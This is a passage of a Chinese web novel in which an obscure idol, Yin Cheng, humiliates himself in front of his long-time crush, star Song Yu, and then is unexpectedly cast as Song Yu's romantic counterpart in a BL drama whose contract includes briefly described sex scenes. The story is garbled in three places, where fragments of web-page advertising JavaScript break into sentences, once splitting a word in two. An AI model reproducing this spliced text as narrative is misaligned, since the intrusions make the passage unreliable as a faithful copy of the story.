《我跟暗恋的前辈拍BL剧了》 1. 电梯间 SN娱乐公司一楼的电梯间平常很挤,这会儿夜深,八台电梯全部空闲,倒是清静。 印澄无声打了个哈欠。 略微干涩双眼的被泪润湿,稍显舒适。 他单手调整好黑色口罩,继续刷手机。 屏幕左上角的时间跳动成02:21,又是熬夜修仙的一天。 印澄下午去帮朋友客串MV,拍到这会儿才收工。 夜间车难打,好在室友敖乐盐愿意开车去接他,顺道再回公司拿点东西。 作为死党,敖乐盐是挺够意思的,就是做事太磨蹭。 休息室在17楼,搭电梯也用不了几分钟,可对方硬是半天都没下来。 印澄用手背揉揉眼,刚打算催,就听见水滴提示音响起。 敖乐盐弹出两条消息。 【10分钟内没下去】 【全.裸直播】 印澄笑笑,划走聊天界面,耐心又恢复成满格。 两年前,印澄以SN练习生的身份参加过男团选秀,时运不济,止步35强。 敖乐盐是他同期,两人被淘汰后螺旋下坠,以180迈的速度齐齐扑成糊咖。 SN是个残酷的地方,顶级资源自然是供给顶流台柱,其次放给崭露锋芒的新星,残羹则留给不温不火的老人。 像印澄这种底层小透明,没人气也没经验,能拿到的就是残羹中的残羹,被筛过无数轮的渣滓。 他被塞去给几部扑街综艺当过气氛组,每期捞到的镜头屈指可数。 瞎忙半年,新粉没吸到,老粉也快跑干净了。 经纪人李鱼眼看不妙,大手一挥,把印澄送进横店。 没综艺感,那就去拍戏吧。 反正印澄长得不错,就算演技差,也能跑跑龙套,混个脸熟。 印澄向来不挑活,自那之后就开始跑场。 快递员、小兵、职员乙…… 印澄解锁的角色不少,挣得没以前多,顶风冒雪的倒是更累了。 不过演着演着,他还真有点上瘾。 一句Action入戏,一声Cut抽离,穿着各式戏服,体验别样人生。 这种奇妙多变的体验,仿佛有种魔力,让他欲罢不能。 不论是什么角色,印澄接到手就认真钻,没事儿就跟能搭上话的前辈请教。 野蛮生长一年多,他的资源终于从群演晋升到配角,捞到了个古装剧的男4号。 剧里,男4号是卑鄙的家仆,觊觎主母,陷害主人,挑唆得主家夫妻离心,险些家破人亡。 最终阴谋败露,惨死在雪地里。 是反派,且死有余辜,摆明了要遭人恨的角色,被别人推过几回,这才落到印澄头上。 接到橄榄枝,印澄答应得毫不犹豫。 仔细读过剧本后,他苦熬数个通宵写人物小传,琢磨动机,深挖背景。 正式拍时,印澄没想太多,只顾着演个痛快,等到剧播才开始担忧。 他演得那么卑鄙,该不会被骂到天灵盖开花吧? 没想到,他的角色剪辑居然在各平台冲破百万播放量,小爆了。 新粉们激情留言:就喜欢你阴暗爬行欲求不满的样子!爱了爱了! 印澄很懵。 懵完,又觉得无比欣喜。 他还没被娱乐圈的洪流吞噬殆尽。 粉丝从70W涨到230W,人气略升,一些沉寂过的友谊也跟着复苏。 就像今天,选秀时的同期突然拉他去帮忙,感慨万千忆当年,临别时还叮嘱日后千万要常联系。 颇有种久不联系的同学,突然在结婚时冒出来的风采。 印澄对这类突发性的活一直都来者不拒,比起空闲,他更喜欢忙碌的感觉,充实得让人心安。 至于那些堆积成山疲惫感,他也有办法疏解。 等了五分钟,见敖乐盐还没下来,印澄转动着发酸的脖颈,拇指轻点,熟稔地切进某个群。 群名叫“五彩羽毛停歇地”。 他是爱豆,同时也是别人的粉丝。 【金丝边眼镜!白西装!】 【这含金量谁懂!谁懂啊啊啊!】 【取向狙击】 【呜呜,真羡慕能去现场的姐妹】 【又是为屿屿神魂颠倒的一天】 此群向来活跃,即便是现在,仍然有十几号夜猫子在狂欢。 各种彩虹屁扑面而来,多角度帅照以一种近乎疯狂的速度刷屏。 印澄看得眼花缭乱,随意逮住一张点开,身心骤然舒展。 他用拇指与食指在屏幕上扩拉,放大,再放大。 宋屿的脸就慢慢以一种极具冲击力的方式,展现在他眼前。 那是张商业活动的现场生图,宋屿为刚代言的眼镜品牌进行宣传。 肉.体酸痛和精神疲惫,随着印澄指尖的移动悄然消解。 恰如春雨润土,一扫颓然,焕发出潜藏的勃勃生机。 屏息观赏片刻,印澄由衷发出声喟叹:好帅啊。 娱乐圈好看的男明星多如繁星,但像宋屿这般身高189,面孔还如同希腊雕像般完美的,仅此一份。 每位明星都有黑粉,路透生图被截去嘲也在所难免。 但宋屿却能时刻让自身处于最完美状态,连随便摆出的 POSE,都被流量小生们竞相模仿。 世上最富想象力的画师,满怀爱意画出的情人,大抵就是宋屿的模样。 毫不夸张地说,宋屿就是SN近年来捧出的最红顶流。 出道五年,吸粉3000万,原创歌曲拿金曲奖,拍电影拿最佳男主奖,综艺有梗,人缘超绝…… 这个人的优点,印澄数也数不完。 宋屿是印澄最仰慕的前辈,是他当初选择签约SN的理由之一。 也是他暗恋了五年的对象。 不过这个秘密一直压在印澄心底,连敖乐盐也以为他对宋屿的感情只有崇拜。 印澄看得专注,正沉溺着,敖乐盐再次发来消息。 【进电梯了!】 【等我!】 他抬眼扫视一圈,发现有部电梯的显示屏正从“17”往下降。 终于下来了。 站得久,腿难免有些麻,印澄踢着腿走过去,等在那扇电梯门前。 就这么会功夫,群里风向已然改变,不知是谁带着头,刷屏的又变成了土味表情包。 宋屿的帅照配上各种红红蓝蓝的方正大字,开牡丹飞蝴蝶,潮得人发慌。 【网络一线牵,珍惜这段缘】 印澄没绷住,冲着手机开始乐。 他笑点低,一笑就停不住。 【爱我,你怕了吗】 【鳖说话,吻我】 【男人,勾引我的小花招】 印澄捧着手机,肩膀耸动。 忽然,他耳边炸响一道大吼:“Surprise!” “啊!”印澄原地蹿起。 熟悉的大笑声随即炸开,带着敖乐盐专属的欠揍感。 电光火石间,印澄反应完毕。 这孙子!跑楼梯下来的! 就为吓他! 但反应过来也没用,印澄是易受惊体质,该抖照样抖。 “叮咚——”眼前的电梯门恰好开启。 印澄手抖,手机也跟着抖。 一个没拿住,眼看就要摔,对面忽然伸出只修长的手,帮他稳稳托住。 那人动作迅速,不过手指无意间点到屏幕,恰好将一张表情包放大到满屏。 【上我,就现在】 刺目的大字,流鼻血的秃头小人,还有宋屿嘴角咬着的“小雨伞”。 要素齐全,无懈可击。 “不好意思。”印澄“啪”地一下拿回手机。 很快。 势如疾风,快如闪电。 他飞速按锁屏幕,低着头,侧身让开路,尽量装得若无其事,仿佛刚刚的一幕不曾发生过。 只有一秒。 虽然画面够冲击,但那人只看到了短短一秒。 或许对方没低头看,或许对方会眼花…… 头顶换传来声微不可闻的轻笑,像是没忍住。 印澄犹如雷击。 看到了! 看到了啊! 没、没关系。 虽然是同公司的,但对方可能跟宋屿不熟…… “诶,屿哥?是屿哥吧!这么晚还在啊?”敖乐盐新奇地叫了一声,笑容爽朗。 什么?!

'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 印澄猛然抬起头,这才看清刚才那好心人是谁。 真!是!宋!屿! 他跟在活动现场时的打扮不一样了。 鞋与西装裤皆是白色,原本就修长的双腿视觉上更是被拉长一截。 上半身米色叠穿,拼接格子风衣配纯色高领内搭,显得温暖又松弛。 头发不再用发胶定型,自然松垂,代言的金丝边眼镜也已摘去…… 他看到了双深邃、带着少许探究和笑意的深棕色眼眸。 与宋屿四目相对的瞬间,印澄触电般移开视线。 糟糕,这种反应实在不礼貌。 印澄心跳如擂,硬着头皮重新看向宋屿,朝对方点头打招呼。 “屿哥。”印澄本来想向敖乐盐那样,自然地喊一声,谁知发出来的声音居然紧得厉害。 而且还有点变调。 印澄悄无声息捏紧手机,整个人仿佛进了桑拿,浑身暴汗。 天呐,他还能再丢脸点吗? “噗,你嗓子咋了?感冒了?”敖乐盐勾住印澄的肩凑近端详,被他刚才那声奇怪的“屿哥”逗得直乐。 印澄崩溃。 这没眼力的家伙!居然还追着问! 印澄视线发虚,不安地来回飘,看地砖看墙壁看敖乐盐,就是没勇气再看宋屿。 直到现在,他才发现原来还有五位工作人员跟在宋屿身旁,表情严肃,似乎刚商谈完某件要事。 连宋屿的经纪人,在娱乐圈叱咤十几年的女强人于妍也在。 这阵仗,压迫感十足。 “我刚结束工作,你们呢?”宋屿回答了敖乐盐刚刚的问题,礼貌反问。 印澄屏住呼吸,深觉这是个挽回形象的好时机。 像宋屿这种经常忙到半夜的工作狂,肯定会对勤奋的后辈更有好感。 不能贸然回答,要仔细想想,没准会成为加分项…… 生怕重复方才的窘境,印澄谨慎地清了清嗓子,打算开口。 “嗐,我就来拿个手柄,澄子陪我,一会儿去吃宵夜。” 敖乐盐晃晃手上的塑料袋,大咧咧地举给宋屿看。 印澄:…… 是错觉么? 宋屿的经纪人于妍似乎在瞪他们。 目光犀利,不怒自威,好像高中时代无声镇压乱哄哄教室的冷面班主任。 印澄压力倍增。 此时此刻,他无比庆幸自己是戴着口罩,能与现实稍稍隔绝。 不过,目前的情形相当不妙。 敖乐盐是个危险分子,再聊下去,恐怕还要顺势请他们一起去吃饭。 这种事,这小子绝对能做出来。 “咳,那个,我也落东西了,你陪我再上去一趟!”印澄堪堪找回自己的声音。 他紧迫地按两下开门键,拉着敖乐盐就往电梯里钻,同时朝众人眯弯起眼,做出“微笑”的表情告别。 就此结束吧。 现在这种状况,印澄多活一秒都是强撑,更没办法跟宋屿同行。 进SN两年,他始终没有机会靠近宋屿,连年会合影时都隔着人山人海。 印澄设想过很多次跟宋屿结识的场面。 他要功成名就,在某个颁奖典礼上,优雅从容地走向宋屿。 一手拿着奖杯,一手跟宋屿相握,自信开朗地对他说:“你好,屿哥,我是印澄。“ “您的忠实粉丝。” 想象中的细节是时常变化的,版本也有很多种。 但无论如何,都不该是现在这种情况。 SN里来来往往那么多人,外号叫“澄子”的也不止他一个。 更何况,他还有口罩。 这么低的存在感,印澄相信过不了几天,宋屿就会把他连同今日的小插曲忘干净。 一定会的。 老天保佑,敖乐盐这回没再多说什么,乖乖跟他进了电梯。 宋屿也在经纪人于妍的提醒下,转身迈步。 气氛很安静。 直到电梯门即将闭合时,敖乐盐一拍脑袋,抻着脖子朝外喊:“诶不对,忘了自我介绍了屿哥!” “我叫敖乐盐,他叫印澄,都是22届的!” “我这哥们儿可喜欢你了!他是你的铁杆粉丝!” 2. 网友 电梯门闭合。 印澄的双目也跟着闭合。 他一把揪住敖乐盐衣领,拼命摇晃。 碎得很彻底。 敖乐盐阵阵眩晕,隐约读懂了他的崩溃。 等听完事情经过,敖乐盐注视着那张【上我】表情包,沉默良久,艰难地拍了拍印澄的肩。 兄弟,节哀。 …… 磨蹭半天,印澄终于鼓起勇气离开公司。 确定不会再遇上宋屿,他紧绷的神经一松,步伐也就跟着变沉。 直至走进夜风里,狠狠打出两个喷嚏,这才清醒些。 “澄子,别想太多。”敖乐盐勾住他的脖颈,语重心长,“这天呐,塌不下来!” 印澄吸吸鼻子,仰头望天,看到的却是足有48层的SN大楼。 这座承载着无数人梦想的巨人寂然矗立,顶部“SN”两个硕大字母发出梦幻的蓝色荧光。 夜幕深沉,公司里却还是有窗户亮着。 会议室、练舞室,亦或是录音棚。 总有人不甘心就此睡去。 无论多晚,SN的光都不会彻底熄灭。 他望了半晌,不知怎的,心情豁然轻了几分。 “走吧。”印澄反手勾住室友,捏捏他的脸,“陪你去买小龙虾。” * * * 从大排档回出租屋,已将近凌晨三点。 市中心地段租金很贵,尤其是安保较好的小区,价格更离谱,以印澄目前的财力很难负担。 不过跟敖乐盐平摊个两室一厅还算可以。 屋内的暖意让印澄困意上涌,他揉揉脸,强打起精神去洗澡。 可等他带着一身水汽出来,却又没了睡意。 “全扒好了!吃吗?”敖乐盐坐着客厅沙发,举起油油的一次性手套问。 茶几上,麻辣和蒜香虾尾码放整齐,一样一盒,红彤彤的皮在垃圾桶里堆积如山,旁边还摆着手柄和刚开机的电脑。 敖乐盐跟印澄的路子不同,他综艺效果强,目前正在某档密室类综艺做常驻,精力旺盛,有空也不闲着,常直播打恐怖游戏。 虽然开播时间不固定,但他操作6,嘴皮子更溜,在游戏区颜值还高,副业搞得风生水起,粉丝更是高达500多万。 算是他们那批被淘汰的秀人里,混得最好的。 正好他明天没行程,瞧这架势,恐怕又要通宵。 印澄摇摇头,谢绝了对方的好意。 他实在没什么胃口。 回到卧室,关灯,印澄把自己深陷进被子里。 洗完澡的肌肤光滑,跟被料摩擦的感觉有种无法言喻的放松和舒适。 若是往常,印澄大概不出五分钟就能睡着,这会儿却越躺越精神。 在黑暗中翻来覆去,他终于放弃抵抗,伸手摸过床头柜上插着充电器的手机,眯起眼把屏幕调到夜间模式。 印澄抓过枕侧的肥肥鲨抱枕,抵在下颌,盯着那片暗光发呆。 少顷,他点进微博,切换到自己的小号,发了个晕倒表情包。 这号ID叫“鲨鱼没蛀牙”,头像是Q版的卡通鲨鱼张着大嘴,平时用来追星,外加分享生活,使用率比“SN娱乐印澄”那个工作号要高。 很快,评论区开始有人留言。 【被帅晕了吧?[花心]】 【都怪屿屿的白西装[doge][doge]】 【这就是我们小羽毛的命[祈祷]】 【认命+1】 “小羽毛”是宋屿粉丝的称呼,跟这个小号有交集的,也都是追星同好。 印澄正对那些留言哭笑不得,后台忽然接到一条私信。 【遇到什么事了?】 那人的ID是一串随机数字,头像也是系统自带的无面小人。 因为太像平台塞的僵尸粉,反倒让印澄有点印象。 其实,“鲨鱼没蛀牙”这个号以前很透明,并没多少人关注,大约两年前才有点人气。 那时宋屿首次进军电影界便获得“最佳新人奖”,声名爆涨,风头正盛。 没过多久,狗仔却爆料宋屿在拍摄期间虐猫,还有宋屿把猫摔在地上的视频佐证。 舆论一时沸腾,尽管工作室很快发出辟谣声明,也没能获取大部分网民的信任。 直至“鲨鱼没蛀牙”发布出一条澄清视频,证实狗仔的那份“证据”被恶意剪辑过,形势这才反转。 视频中,宋屿本想伸手接住树上的流浪猫,奈何猫猫怕人,落入他怀中后又挣扎着跳下地逃离。 因猫咪叫声惨烈,外加宋屿有些手足无措,单截取那一段,很容易造成“故意摔猫”的错觉。 说起来也是巧,宋屿进组那会儿,印澄也在横店跑龙套,有次夜跑录volg,误打误撞的就把宋屿给录进去了。 没想到这段私家珍藏的回忆,还能帮上这么大的忙。 自那之后,印澄的小号就多了很多关注,小羽毛们非常感激他,夸夸如黄河奔涌一发不可收拾。 不过也有人在揣测他的真实身份,猜他是剧组工作人员,还有人怀疑他是宋屿的跟踪狂私生饭。 印澄被这阵仗吓到了,干脆退网,生怕马甲被扒。 等半年后风波平息,热度彻底消散,才敢重新登陆。 彼时潮水退去,留下的活跃粉丝也寥寥无几。 这个随机数字的陌生ID,似乎就是那时关注他的。 印澄点开那人主页,果不其然,空荡荡的,没有任何痕迹。 还真像个僵尸号。 他关掉私信界面,百无聊赖地浏览着热搜新闻,熟悉的字连成一排,组成夸张的噱头,却怎么都读不进去。 心里发闷。 有些事没法跟熟人说,只能憋着,郁结成一口吐不尽的气。 纠结半晌,他重新返回聊天界面,发了个叹气表情包。 网友而已,对面是谁都没关系。 他想跟人聊天。 鲨鱼没蛀牙:【刚刚】 鲨鱼没蛀牙:【在重要的人面前丢脸了】 印澄用尾指托住手机底部,拇指轻点,发出两句话。 送出的消息石沉大海。 对面或许睡了,或许只是一时兴起,不想深聊。 印澄眨眼的频率逐渐放缓,眼皮越来越沉。 洗澡带来的精神魔法慢慢失效,他变得很困。 正当他想放下手机,遵从内心时,对面忽地冒出条气泡。 【很重要的人?】 印澄愈发困倦,半眯着眼,发出最后一条讯息,将手机调成静音,锁屏入睡。 鲨鱼没蛀牙:【喜欢的人 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 】 困到这种程度,羞耻什么的,他已经感受不到了。 呼吸变得悠长而平稳,窗帘遮得严实,透不进半点月光,亦感觉不到时间在流逝。 在这片静谧中,沉寂已久的屏幕忽然发出道暗光,勾描出印澄恬静的睡颜。 陌生ID发来条“拥抱”的emoji。 两分钟后,屏幕再度亮起。 陌生ID:【晚安】 * * * 印澄的梦经常杂乱无章,但今晚,他梦到了些旧日残影。 选秀节目的成团夜,他跟所有落选者挤坐在观众席前排,为每个精彩舞台鼓掌欢呼。 那是场直播,出道位竞争激烈,巨幕上实时的打投票数起伏如浪,荡得人心慌。 当最终结果公布,绚烂的烟火炸亮夜空,彩纸漫天飘扬。 镁光灯聚成一束,迎接惊喜嘉宾从容登场。 来者是宋屿。 他一身西装,手捧奖杯,将它递给C位队长,而后伸展双臂,将聚拢过来的七位成团者虚抱在怀。 队长姜烈眼含热泪,举着话筒激动哽咽:“屿哥,你一直是我的偶像,我当初进SN,就是因为崇拜您!” 姜烈只比印澄早进公司一年。 如今,他正站在舞台中央,对那个人说着印澄最想说的话。 宋屿微笑回应:“谢谢,你也是我的骄傲。” 全场掌声雷动。 印澄双臂如同坠了沙袋,每拍一次掌,都艰难万分。 他觉得,他离他们好远。 观众席灯光倏然隐去,在恢宏的航拍镜头中,他变成小小的荧光点,与其他观众一起,组成直播最后的END镜头。 END。 …… 印澄是被电话铃声硬吵醒的。 他用右臂遮住眼睛,左手凭记忆摸索到手机的位置,使劲儿一拉,拽开充电线。 “喂?”印澄嗓音有点哑。 “都什么时候了还睡!你小子摊上事儿了知道吗?”经纪人李鱼在另一头冲他耳膜怒吼。 印澄弹簧一样坐起身,头皮瞬间绷紧:“怎、怎么了?” “现在来我办公室!马上!”李鱼没回答,直接挂断电话。 经纪人的愤怒来得太突兀,震得印澄心直跳。 他迅速收拾好自己,戴上口罩,轻手轻脚穿过客厅。 这会儿才上午10点多,敖乐盐卧室紧闭,显然还在补觉。 顺手拎起门口扔虾皮的垃圾袋,印澄迈开步子,在走廊等电梯的同时用打车软件叫出租。 下楼后,他扬手将袋子精准丢进花坛边的垃圾桶,拔腿开跑,成功在车抵达前奔出“森和”小区。 对司机报出手机尾号,印澄拉开副驾驶门,准备弯腰上车。 “咔嚓——” 一声清脆的快门,忽然自不远处的樟树后响起。 印澄诧异转头,只见一位头戴蓝色鸭舌帽的男人举着相机,对准他正脸又连拍数张。 半躲不躲的,比起偷拍,倒更像是期待被发现。 印澄愣了两秒,钻进车内。 瞄着后视镜,他发现司机启动后,那狗仔居然还小跑几步追拍,执着得很。 印澄浑身僵硬,手心慢慢渗出冷汗。 他、他到底惹了什么事…… 3. 合同 小区外的狗仔令人心慌,公司门口蛰伏着的更让印澄焦虑。 那两位仁兄口罩一黑一白,呈左右包抄之势对他一顿猛拍。 好像他走的不是台阶,而是隐形红毯。 印澄三步并作两步冲进SN,本以为能稍稍缓口气,没想到但凡遇见个脸熟的,就会受到注目礼。 诧异、复杂、意味深长…… 弄得他恐怖谷效应都犯了。 印澄不自在地低着头,双手缩进袖口,尽量减少存在感。 当他艰难抵达23层,敲响李鱼办公室的门时,简直像找到了避风港。 “鱼哥,我……” 门豁然从内拉开,随着“嘭”的一声响,洋洋洒洒的彩带喷他一身。 “哈哈哈哈!印澄!你小子走运了!”李鱼穿着尺寸略大的灰西装,龇牙大笑。 他三十多岁,体型偏瘦,刘海万年不变地用发胶抓成括号,情绪高涨,很像终于开单的汽车销售。 印澄顶着满头彩带,如坠雾里。 李鱼扔掉礼炮,一把将印澄拉进屋,握住他的手使劲摇:“恭喜啊,恭喜,《欲都》那部剧定你了!” 印澄被摇得脑袋发懵,他慢吞吞地把手抢救回来,摘掉舌头上的亮片。 刚刚不该张嘴的。 《欲都》是鬼才导演杨临筹备的新项目,架空都市悬疑剧,内容涵盖暴力、血腥,钱欲纠葛等元素,主感情线还是当下最火热的BL,相当吸睛。 早在立项初期,宋屿就接下了男一号,如此强强联合,想报名进组的演员简直如过江之鲫。 四个月前,印澄鼓起勇气投简历,按要求附上三段试戏视频,竞选男二号的贴身助理一角。 他满怀希望,隔几个小时就刷新一次电子邮箱,希望能得到回复。 可这么长时间过去,他没等到任何音讯,反而打听到“助理”已定给别人的传言。 遗憾归遗憾,他也渐渐把这事儿放下了。 没想到居然有这种惊喜! “杨导让我演助理?”印澄稍慢一步将信息处理完毕,眸中露出雀跃的光。 “不是助理!是男二!”李鱼的嘴一张一合,像鱼吐泡泡似的,喊出不真切的话。 男二? 男二! 宋屿剧里的CP! 印澄猛吸一口气,心脏异样,仿佛花苞绽放的瞬间接踵而至,以他控制不了的速度带来无限欢喜。 “我演男二?确定是我演?”印澄紧张地盯着李鱼,露出笑容。 李鱼双手捧起他的脸,表情真挚:“没错,就是你!” “怎、怎么谈下来的?鱼哥,你好厉害啊!”印澄头一次觉得李鱼光芒万丈。 “哈哈哈,哈哈……”李鱼笑容稍稍变得尴尬,原本还想装一装,但觉得露馅是迟早的事,索性吐了实话,“其实……不是我谈的。” “嗯?”印澄不解。 “咳,我也是刚刚才接到的电话,对方制片人亲自打来的,也没多解释,直接敲定的你,连剧本和合同都让人送来了。”李鱼侧过身,让他看办公桌上的文件。 印澄快步走过去,拿起剧本,仔细端详着封面宋体加粗的《欲都》两字,随手翻翻,大概有四百多页。 格式正规,内容细致,似乎是真的剧本。 他又看了两页合同,条约也是一板一眼。 挺像那么回事的。 但不知怎的,印澄就是忍不住发虚。 他上个月才有些人气,表面光鲜,实则代言只有一个,销量平平,咖位并没有质的飞跃。 像这种小透明圈里一抓一大把,杨导怎么会突然看中他? 还表现得这样急? 面谈都没约,直接走合同? 印澄的兴奋慢慢褪去,狐疑和冷静占据上风:“鱼哥,你该不会遇到骗子了吧!对方让你打钱没?” 李鱼噎住,忽然觉得形象堪忧。 他看起来是那种老了会被人忽悠买保健品的类型吗? “算了算了,给你透点内幕吧。”李鱼故作神秘,“你知不知道那边原本要签的男二号是谁?” “KK?”印澄脱口而出。 KK是位新晋的流量小生,擅长hip-hop,红发小虎牙,有几分野性难驯的帅。 粉丝大概1200万,号召力很强。 KK没有演戏经验,但对跨界的兴趣很高,多次在节目上表达过相关意愿。 差不多两个月前,曾有大量营销号放出KK接下《欲都》男二号的消息,传得有鼻子有眼。 KK的粉丝表面回应“非官宣勿扰”,私下却开始剪辑KK跟宋屿的CP向视频,从各方面分析两人的适配度,努力将气氛炒热。 阵仗颇大,不少人都以为这事是板上钉钉。 莫非先前的消息只是谣言? 见印澄迷惑,李鱼露出抹幸灾乐祸的笑:“KK跟杨导好像摩擦不小,闹得挺难看的,组里这才决定临时换人。” 在八卦方面,李鱼的情报准确度像雨像雾又像风,命中率高达百分之五十,印澄听他滔滔不绝,一时判断不出到底能不能信。 据说KK原本是制片人牵线进组的,带资不少,脾气较大,试戏时没把杨导放在眼里,矛盾就此累积。 自带编剧、改剧本、妄图加戏,安排站姐偷拍险些透露片场内幕…… 杨导也是个有脾气的,屡次三番被激怒,忍无可忍,最终顶着压力退掉KK,连投资方都给得罪了。 幸好后续资金窟窿被宋屿补上,项目才得以继续。 “……不管剧组那边到底是怎么想的,咱们这回算是捡大漏了!快签合同吧,早定早安心!”李鱼舔舔干燥的嘴角,殷勤地摊开合同。 印澄心情微妙地接过文件,总觉得李鱼的态度比起被诈骗,更像诈骗犯。 他并未直接签字,而是一页页审视,提防各种可能出现的坑。 眼看印澄没头脑发热,反倒越来越警惕,李鱼使劲儿搓搓脸,终于点出一件要事:“哦对了,那个,这部戏,你可能要脱啊。” “啊?脱?”印澄有点结巴,“脱、脱到什么程度?” 听起来……应该是有激.情戏? 李鱼破罐子破摔,哗哗哗把合同翻到相关页面,用手指点:“喏,一共三场,你仔细看看。” 印澄咽了下口水,目光落向纸面。 第一场,浴室PLAY,男二湿身进去勾引男主,一番推拉后两人大do特do。 第二场,办公室PL (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' AY,男二看不惯男主假正经,在会议桌下用脚勾引男主,散会后男主把男二压在落地窗前,大do特do。 第三场,刑房PLAY,男主背叛男二被捉回,男二锁链、皮.鞭、滴.蜡一顿调.教后,男主失控,挣脱锁链,掐住男二,用想杀死对方的气势大do特do。 总之,调戏不成反被艹,就是男二的宿命。 而需要裸.露的部分,近乎全部。 再解释清楚一点,就是,除了“小小澄”以外的全部。 甚至包括臀.部。 连条底裤都保不住。 “澄啊,情况就是这么个情况,留人不留腚,留腚不留人,你、你看着办吧。” …… 印澄低头签名时,李鱼在旁啪啪鼓掌。 声音之响,让印澄彻底变成一只熟虾。 “这就叫为艺术献身!行了,回去收拾行李吧,明天进组围读。”李鱼把剧本拍到他胸口,从兜里掏出烟盒,敲出一支叼着。 “啊?这么快?”印澄抱着剧本,满脸局促。 “现在人做事都讲效率,时间就是金钱。”李鱼边点烟边把印澄往门口推。 像鸟妈妈把雏鸟撵出巢。 更像卸磨杀驴。 关门前,他朝印澄竖起大拇指,留下最后一句话:“相信自己!” 印澄站在走廊,被迫迎接着同僚们的注目,勉强扯出丝微笑。 对了,他刚刚忘问李鱼了。 临时换人,宋屿那边知道么? * * * 次日上午九点,李鱼准时到“森和”小区接印澄。 考虑到《欲都》是部S+大剧,公司特地给印澄超额配辆商务车,一名司机和两名助理。 拍摄周期大概要四个月,印澄忙活半宿,整整收拾出三个行李箱。 临上车前,敖乐盐百感交集,用力抱了抱印澄,从兜里悄悄掏出个U盘塞给他。 “澄啊,这里头是我连夜下的学习资料,500个G,你没演过这类型,好歹涨点经验。” 敖乐盐殷殷嘱咐。 印澄把U盘握在掌心,感激得鼻子发酸。 500个G,这得是多少堂名师讲课啊,敖乐盐知道他不是科班出身,居然这么为他着想! “你放心,我以后有空就看,天天看,一定把这些融会贯通!”印澄认真保证。 敖乐盐表情瞬间有些崩塌,语气微妙:“也别看太勤……注意身体啊。” “好兄弟!一辈子!”印澄用手背抹掉眼角的泪,跟室友拥抱道别。 行驶约90分钟,车辆抵达泰阳罗酒店,印澄在李鱼的陪同下办理入住,拿到18楼的1832号房卡。 等印澄推开房门,顿时傻了眼。 宽敞的客厅区摆着高档沙发、茶几和大屏幕高清电视,全景落地窗将无限风光尽收眼底。 右手边的迷你吧台上有咖啡机和各种饮品零食,连墙壁上挂着的画都很有艺术气息。 印澄万分惊讶:“豪华间?” 他跑横店这么多年,基本睡的都是大床房,这次的待遇也太好了吧! “咳,本来订的是商务间,但有人想跟你做邻居,就升了。”李鱼帮他把行李推进去,环顾四周,连连咋舌。 4. 邻居 邻居? 印澄刚想仔细问问,碰巧李鱼接了个电话。 等打完回来,他已经简单整理好行李,忘了这茬。 揉揉眼眶,印澄在餐厅拉过把椅子坐下,开始琢磨剧本。 470页的剧本共分为四册,按照李鱼发给他的行程,剧组每天围读的进度大概在65页左右。 集合时间为下午2点,还剩两个多小时,他得抓紧。 李鱼敲着烟盒坐到他旁边,瞥见页面,不由一愣。 花花绿绿的线条区分出不同情绪的台词,页面上下两条空白处几乎写满蓝字,不够写的地方甚至贴了便利贴。 很像学生时代的课堂笔记,勤奋生专属的那种。 李鱼对印澄的用功感到欣慰。 他放下烟盒,随手拿过第四册翻看,却发现上面也有痕迹。 “你、你昨晚把这些都看完了?”李鱼诧异。 “嗯,简单看过,对故事走向大致有个概念,详细分析没做多少。”印澄并未抬眼,一手杵头,一手虚持着笔。 他手指线条流畅,指尖圆润,美得恰到好处,不过分纤细,也不显得柔弱。 思考时,笔身在指间灵活腾转,就像某种颇具观赏性的戏法。 李鱼停顿片刻,问他:“通宵了?” “差不多吧,反正也睡不着。”印澄随口回应。 李没再打扰印澄,也没抽烟,只陪在旁边,陷入沉默。 直到助理吴鸿阳拎着外卖进来,他才趁机劝印澄午休。 吴鸿阳是公司配给印澄的生活助理,负责照顾起居出行,至于工作行程则交给助理秦鸣负责。 印澄朝掌心呵出热气,闭目,敷上双手缓解疲劳。 “对了,我是不是该请导演吃个饭?”他眨眨眼,见李鱼和吴鸿阳在分筷子,忽然想起还未处理的人际关系。 “呃,不用!我打听过,人杨导不爱交际,到时候公事公办就成。”李鱼动作微滞,言语模糊。 “哦……那制片人呢?还有副导演,我谁都不请合适吗?”印澄帮忙开盒盖,有点不安。 其实他不擅长应酬,每次去之前都要做心理准备,被迫敬酒时更是窘迫,浑身的不自在。 但出道近4年,印澄也知道什么叫人情世故,有些事避开了,反而麻烦。 “也不用,大家都挺忙的。”李鱼哗啦哗啦地收拾包装袋,声音故意弄得很大。 印澄没再多问,慢慢往嘴里扒拉米饭。 明明有三个人进餐,气氛却异常安静。 吴鸿阳是刚毕业的大学生,寸头,五官干净,上次印澄演反派就跟着进过组,彼此早已相熟。 他观察李鱼的脸色,试探着问:“鱼哥,澄澄是不是不受待见啊?” 印澄含着饭粒,忽然觉得喉间发堵。 “看你说的,没那回事儿!”李鱼给印澄夹了块牛腩,“小澄进组是杨导拍板的,他肯定没问题,就是那个张制片……他跟KK关系不错,临阵换将,心里头别扭也正常。” 印澄喝了口水,用筷子把牛肉块戳碎,混在饭里吃掉。 原来问题的根结在这里。 制片人不喜欢他,其他工作人员恐怕也得避讳着点。 从李鱼的反应来看,他大概碰过壁。 “正常。”印澄朝两人笑笑,宽慰他们:“我以前也遇过这种事,等熟了就好了。” 此话不算假,无论在哪个剧组,龙套糊咖的待遇都差不多。 别说尊重,能太太平平拍完,没挨挤兑,就算烧高香了。 眼下他天降进组,有人看不惯也在意料之中。 李鱼和吴鸿阳见他想得开,心里多少都松口气,岔开话题不再提。 吃完饭,印澄换上套白色卫衣,搭配蓝牛仔裤白球鞋,戴好口罩准备出门。 他预计提前十分钟到会议室,这样较为合适,不早也不迟。 时间卡得这么准并非摆架子,有时演员表现得太过积极,会无形中“卷”到工作人员。 类似的暗亏印澄吃过挺多,踩完的坑总结总结再记着避,人也就慢慢成熟了。 “印先生,”行程助理秦鸣在外头适时敲门,公事公办地提醒他:“该出门了。” 印澄看着吴鸿阳把剧本和房卡装进帆布背包里,推开门,朝秦鸣无奈笑笑:“印先生听到了!” 秦鸣是临时被调派来的,相貌冷峻,性格也像块冰,但无攻击性,还挺好相处的。 